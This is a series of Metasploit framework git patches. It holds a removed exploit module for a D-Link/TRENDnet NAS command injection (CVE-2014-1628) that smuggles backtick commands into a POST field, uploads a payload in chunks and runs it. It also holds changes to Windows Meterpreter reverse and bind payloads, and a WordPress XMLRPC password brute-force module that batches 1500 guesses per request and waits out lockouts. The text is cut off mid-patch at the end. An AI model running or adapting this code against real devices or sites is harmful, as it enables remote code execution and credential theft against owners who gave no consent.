https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link/TRENDnet NCC Service Command Injection', - 'Description' => %q{ - }, - 'Author' => - [ - 'Jon Hart <jon_hart[at]rapid7.com>' - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2014-1628'] - ], - 'Platform' => ['unix'], - 'Arch' => ARCH_CMD, - 'Privileged' => false, - 'Payload' => - { - 'EncoderType' => Msf::Encoder::Type::CmdUnixEcho, - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl' - } - }, - 'Targets' => - [ - [ 'Automatic', { } ] - ], -# 'Targets' => -# [ -# [ 'Linux mipsel Payload', -# { -# 'Arch' => ARCH_MIPSLE, -# 'Platform' => 'linux', -# 'EncoderType' => Msf::Encoder::Type::CmdUnixEcho -# } -# ], -# [ 'Linux mipsbe Payload', -# { -# 'Arch' => ARCH_MIPSBE, -# 'Platform' => 'linux', -# 'EncoderType' => Msf::Encoder::Type::CmdUnixEcho -# } -# ], -# ], - 'DisclosureDate' => 'Feb 26 2015', - 'DefaultTarget' => 0)) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/cgi-bin/system_mgr.cgi']), - ], self.class) - end - - MAX_CMD_SIZE = 13 - - def check - # run id and redirect output to a file we can access remotely. - canary_file = Rex::Text.rand_text_alpha(1) - exec_command("id>/var/www/#{canary_file}") - # snag a copy of the file - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => "/#{canary_file}" - }) - # clean up - exec_command("rm /var/www/#{canary_file}") - - if res - if res && res.code == 200 - if res.body =~ /uid=/ - print_good("Simple code execution possible as #{res.body}") - return Exploit::CheckCode::Vulnerable - end - end - end - - return Exploit::CheckCode::Unknown - end - - def exec_command(cmd, timeout = 20) - if cmd.length > MAX_CMD_SIZE - puts "cmd too long" - end - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path), - 'encode_params' => false, - 'vars_post' => { - 'cmd' => 'cgi_log_server', - 'f_enable' => 1, - 'f_ip' => "`#{cmd}`" - } - }, timeout) - return res - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") - end - end - - def exploit - print_status("#{peer} - Accessing the vulnerable URL...") - - unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") - end - - print_status("#{peer} - Exploiting...") - payload_path = "/#{Rex::Text.rand_text_numeric(1)}" - - # create an echo wrapper that is smaller - vprint_status("Uploading echo wrapper") - echo_path = "e" -# exec_command("echo -n ech>#{echo_path}") -# exec_command("echo -n o>>#{echo_path}") -# exec_command("echo -n \\ >>#{echo_path}") -# exec_command("echo -n - >>#{echo_path}") -# exec_command("echo -n n >>#{echo_path}") -# exec_command("echo -n e >>#{echo_path}") -# exec_command("echo -n \\ >>#{echo_path}") -# exec_command("echo -n $ >>#{echo_path}") -# exec_command("echo -n @ >>#{echo_path}") -# exec_command("chmod 755 #{echo_path}") - # create empty payload file - exec_command(">#{payload_path}") - redirect = ">>#{payload_path}" - echo_cmd = "/#{echo_path} " - chunk_size = MAX_CMD_SIZE - (echo_cmd.length + redirect.length) - encoded_payload = Rex::Text.to_hex(payload.encoded, "\\\\x") - encoded_payload_offset = 0 - vprint_status("Uploading payload") - until (encoded_payload_offset >= encoded_payload.length) do - exec_command("#{echo_cmd}#{encoded_payload.slice(encoded_payload_offset, chunk_size)}#{redirect}") - encoded_payload_offset += chunk_size - end - - puts "Executing #{payload_path}" - exec_command("sh #{payload_path}") - #exec_command("rm #{payload_path}") - return - end -end From 8f86b2519f8aeaaadfeae085df521fa693befd0f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 9 Nov 2015 18:40:32 -0800 Subject: [PATCH 1137/2172] Resolve 'duplicate key warning' for some modules --- modules/auxiliary/scanner/misc/dvr_config_disclosure.rb | 1 - modules/auxiliary/scanner/pop3/pop3_login.rb | 1 - modules/auxiliary/scanner/smb/smb_login.rb | 1 - modules/post/linux/gather/mount_cifs_creds.rb | 1 - 4 files changed, 4 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index d58eb79314..c497a8ff3d 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -206,7 +206,6 @@ class Metasploit3 < Msf::Auxiliary service_name: 'dvr', user: user, password: password, - service_name: 'http', proof: "user_id: #{user_id}, active: #{active}" ) } diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index 33719dfb96..98ae8f9257 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -75,7 +75,6 @@ class Metasploit3 < Msf::Auxiliary send_delay: datastore['TCP::send_delay'], framework: framework, framework_module: self, - ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'], ssl_verify_mode: datastore['SSLVerifyMode'], ssl_cipher: datastore['SSLCipher'], diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index be1a3eae84..0fdf529ca7 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -85,7 +85,6 @@ class Metasploit3 < Msf::Auxiliary smb_native_os: datastore['SMB::Native_OS'], smb_native_lm: datastore['SMB::Native_LM'], send_spn: datastore['NTLM::SendSPN'], - host: ip ) bogus_result = @scanner.attempt_bogus_login(domain) diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index 3dd504f162..ed33627410 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -115,7 +115,6 @@ class Metasploit3 < Msf::Post username: opts[:user], private_data: opts[:password], private_type: :password, - module_fullname: fullname, session_id: session_db_id, post_reference_name: self.refname }.merge(service_data) From a28ab216d3faebc2fd482689b3a86f82727d5f8c Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 10 Nov 2015 19:18:47 +1000 Subject: [PATCH 1138/2172] Adding stageless init script support --- lib/rex/payloads/meterpreter/config.rb | 23 +++++++++++++++++++ .../windows/meterpreter_reverse_tcp.rb | 6 +++-- .../windows/x64/meterpreter_reverse_tcp.rb | 6 +++-- 3 files changed, 31 insertions(+), 4 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 215c883abe..ac7d57dcf1 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -120,6 +120,20 @@ private extension_data = [ ext.length, ext ].pack('VA*') end + def extension_init_block(name, value) + # for now, we're going to blindly assume that the value is a path to a file + # which contains the data that gets passed to the extension + content = ::File.read(value) + data = [ + name, + "\x00", + content.length, + content + ] + + data.pack('A*A*VA*') + end + def config_block # start with the session information config = session_block(@opts) @@ -148,6 +162,15 @@ private config << [0].pack('Q<') end + # wire in the extension init data + (@opts[:ext_init] || '').split(':').each do |cfg| + name, value = cfg.split(',') + config << extension_init_block(name, value) + end + + # terminate the ext init config with a final null byte + config << "\x00" + # and we're done config end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 4572ac867a..c8567fdb8f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -35,7 +35,8 @@ module Metasploit3 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), ], self.class) end @@ -53,7 +54,8 @@ module Metasploit3 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index e2b10029d8..187324a0a4 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), ], self.class) end @@ -53,7 +54,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters From 0afc5be3bcac36d3c4d2743093a127f044787089 Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 10 Nov 2015 20:01:23 +1000 Subject: [PATCH 1139/2172] Finalise set up of stageless init --- lib/rex/payloads/meterpreter/config.rb | 6 +----- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 6 ++++-- .../payloads/singles/windows/meterpreter_reverse_http.rb | 6 ++++-- .../payloads/singles/windows/meterpreter_reverse_https.rb | 6 ++++-- .../singles/windows/meterpreter_reverse_ipv6_tcp.rb | 6 ++++-- .../payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 6 ++++-- .../singles/windows/x64/meterpreter_reverse_http.rb | 6 ++++-- .../singles/windows/x64/meterpreter_reverse_https.rb | 6 ++++-- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 6 ++++-- .../payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 10 files changed, 34 insertions(+), 22 deletions(-) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index ac7d57dcf1..f28ef71662 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -156,11 +156,7 @@ private end # terminate the extensions with a 0 size - if is_x86? - config << [0].pack('V') - else - config << [0].pack('Q<') - end + config << [0].pack('V') # wire in the extension init data (@opts[:ext_init] || '').split(':').each do |cfg| diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 11f876dfc8..0193e8b390 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end @@ -53,7 +54,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 43d51aeae7..a50a63fa8c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end @@ -54,7 +55,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index c9c3f4feee..a0e72c7266 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end @@ -54,7 +55,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index fc2bb07719..04e7e0ddd8 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) ], self.class) end @@ -54,7 +55,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index d21aaf8296..47c9d1627a 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end @@ -53,7 +54,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 006dbb841b..351a70afef 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end @@ -54,7 +55,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 10ebc2369f..bda35e112c 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end @@ -54,7 +55,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 524ec97eab..86f1050bd5 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -35,7 +35,8 @@ module Metasploit4 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) ], self.class) end @@ -54,7 +55,8 @@ module Metasploit4 expiration: datastore['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], - extensions: (datastore['EXTENSIONS'] || '').split(',') + extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_init: (datastore['EXTINIT'] || '') } # create the configuration instance based off the parameters diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 187324a0a4..535991b261 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), + OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) ], self.class) end From fffbb4106fc7aea459a458932af12da939bce500 Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Tue, 10 Nov 2015 22:33:37 +0300 Subject: [PATCH 1140/2172] Refactoring.. --- .../wordpress_xmlrpc_massive_bruteforce.rb | 147 +++++++++--------- 1 file changed, 72 insertions(+), 75 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb index 4b9b2ef0be..367878cbe2 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -11,35 +11,36 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info( - info, - 'Name' => 'WordPress XMLRPC Massive Bruteforce ', - 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'William (WCoppola@Lares.com)', - 'Sabri (@KINGSABRI)' - ], - 'References' => - [ - ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], - ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] - ] + info, + 'Name' => 'WordPress XMLRPC Massive Bruteforce ', + 'Description' => %q{Wordpress Massive Burteforce attacks via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # Module Writer + 'William (WCoppola@Lares.com)' # Module Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ] )) register_options( [ - OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), - OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', - File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]), + OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]) ], self.class) register_advanced_options( [ - OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), - OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) ], self.class) end @@ -51,72 +52,70 @@ class Metasploit3 < Msf::Auxiliary File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} end - def generate_xml user + def generate_xml(user) - print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 xml_payloads = [] # Container for all generated XMLs xml = "" # Evil XML | Limit number of log-ins to 1700/request for wordpress limitation passwords.each_slice(1500) do |pass_group| - xml = "<?xml version=\"1.0\"?>\n" - xml << "<methodCall>\n" - xml << "<methodName>system.multicall</methodName>\n" - xml << "<params>\n" - xml << " <param><value><array><data>\n" - pass_group.each do |pass| + document = Nokogiri::XML::Builder.new do |xml| + xml.methodCall { + xml.methodName("system.multicall") + xml.params { + xml.param { + xml.value { + xml.array { + xml.data { - xml << " <value><struct>\n" - xml << " <member>\n" - xml << " <name>methodName</name>\n" - xml << " <value><string>wp.getUsersBlogs</string></value>\n" - xml << " </member>\n" - xml << " <member>\n" - xml << " <name>params</name><value><array><data>\n" - xml << " <value><array><data>\n" - xml << " <value><string>#{user}</string></value>\n" - xml << " <value><string>#{pass}</string></value>\n" - xml << " </data></array></value>\n" - xml << " </data></array></value>\n" - xml << " </member>\n" - xml << " </struct></value>\n" + pass_group.each do |pass| + xml.value { + xml.struct { + xml.member { + xml.name("methodName") + xml.value { xml.string("wp.getUsersBlogs") }} + xml.member { + xml.name("params") + xml.value { + xml.array { + xml.data { + xml.value { + xml.array { + xml.data { + xml.value { xml.string(user) } + xml.value { xml.string(pass) } + }}}}}}}}} + end + }}}}}} end - xml << " </data></array></value></param>\n" - xml << "</params>\n" - xml << "</methodCall>" - xml_payloads << xml + xml_payloads << document.to_xml end - print_status('Generating XMLs just done.') - return xml_payloads + vprint_status('Generating XMLs just done.') + xml_payloads end + # # Check target status # def check_wpstatus print_status("Checking #{peer} status!") - case - when !wordpress_and_online? - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") - :abort - when !wordpress_xmlrpc_enabled? - print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") - :abort - else - print_status("Target #{peer} is running Wordpress") + if !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + return + elsif !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not enable XMLRPC") + return + else + print_status("Target #{peer} is running Wordpress") end end - def parse_response(res) - - resp.scan(/Incorrect username or password/) - - end - def run check_wpstatus @@ -129,10 +128,10 @@ class Metasploit3 < Msf::Auxiliary opts = { - 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, - 'data' => xml, - 'ctype' =>'text/xml' + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' =>'text/xml' } client = Rex::Proto::Http::Client.new(rhost) @@ -151,20 +150,18 @@ class Metasploit3 < Msf::Auxiliary # If this gives exception then its the correct password value.struct.member[1].value.string.text rescue - user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text - pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text + user = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[0].text.strip + pass = req_xml.document.methodCall.params.param.value.array.data.value[i].struct.member[1].value.array.data.value.array.data.value[1].text.strip - print_good("Credentials Found! #{user}:#{pass}") + print_good("Credentials Found! #{user}:#{pass}") passfound = true end end rescue NoMethodError - print_error("It seems you got blocked!") - print_warning("I'll sleep for 6 minutes then I'll try again. CTR+C to exit") - sleep 6 * 60 + print_error('It seems you got blocked!') + print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes then I'll try again. CTR+C to exit") + sleep datastore['BLOCKEDWAIT'] * 60 retry - # return :abort end - print_status('Taking a nap for 2 seconds..') sleep 2 end end end From d498dc46a18a228d7c0f4d088e65504c152e7f4c Mon Sep 17 00:00:00 2001 From: KINGSABRI <king.sabri@gmail.com> Date: Mon, 9 Nov 2015 17:28:58 +0300 Subject: [PATCH 1141/2172] Add wordpress masive bruteforce using XMLRPC (wordpress API) --- .../wordpress_xmlrpc_massive_bruteforce.rb | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb new file mode 100644 index 0000000000..f8146b2fbf --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Massive WordPress bruteforce via XMLRPC', + 'Description' => %q{Wordpress massive burteforce attack via wordpress XMLRPC service.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sabri (@KINGSABRI)', # MSF module + 'William (WCoppola@Lares.com)' # Requester + ], + 'References' => + [ + ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'], + ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html'] + ], + 'DisclosureDate' => '2015' + )) + + register_options( + [ + OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]), + OptPath.new('WPPASS_FILE', [ true, 'File containing passwords, one per line', + File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]) + ], self.class) + + + register_advanced_options( + [ + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]) + ], self.class) + end + + def usernames + File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp} + end + + def passwords + File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp} + end + + def generate_xml user + + print_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500 + xml_payloads = [] # Container for all generated XMLs + xml = "" + # Evil XML | Limit number of log-ins to 1500/request for wordpress limitation + passwords.each_slice(1500) do |pass_group| + + xml = "<?xml version=\"1.0\"?>\n" + xml << "<methodCall>\n" + xml << "<methodName>system.multicall</methodName>\n" + xml << "<params>\n" + xml << " <param><value><array><data>\n" + pass_group.each do |pass| + + xml << " <value><struct>\n" + xml << " <member>\n" + xml << " <name>methodName</name>\n" + xml << " <value><string>wp.getUsersBlogs</string></value>\n" + xml << " </member>\n" + xml << " <member>\n" + xml << " <name>params</name><value><array><data>\n" + xml << " <value><array><data>\n" + xml << " <value><string>#{user}</string></value>\n" + xml << " <value><string>#{pass}</string></value>\n" + xml << " </data></array></value>\n" + xml << " </data></array></value>\n" + xml << " </member>\n" + xml << " </struct></value>\n" + + end + xml << " </data></array></value></param>\n" + xml << "</params>\n" + xml << "</methodCall>" + + xml_payloads << xml + end + + print_status('Generating XMLs just done.') + return xml_payloads + end + + # + # Check target status + # + def check_wpstatus + print_status("Checking #{peer} status!") + + case + when !wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked!") + :abort + when !wordpress_xmlrpc_enabled? + print_error("#{rhost}:#{rport}#{target_uri} does not 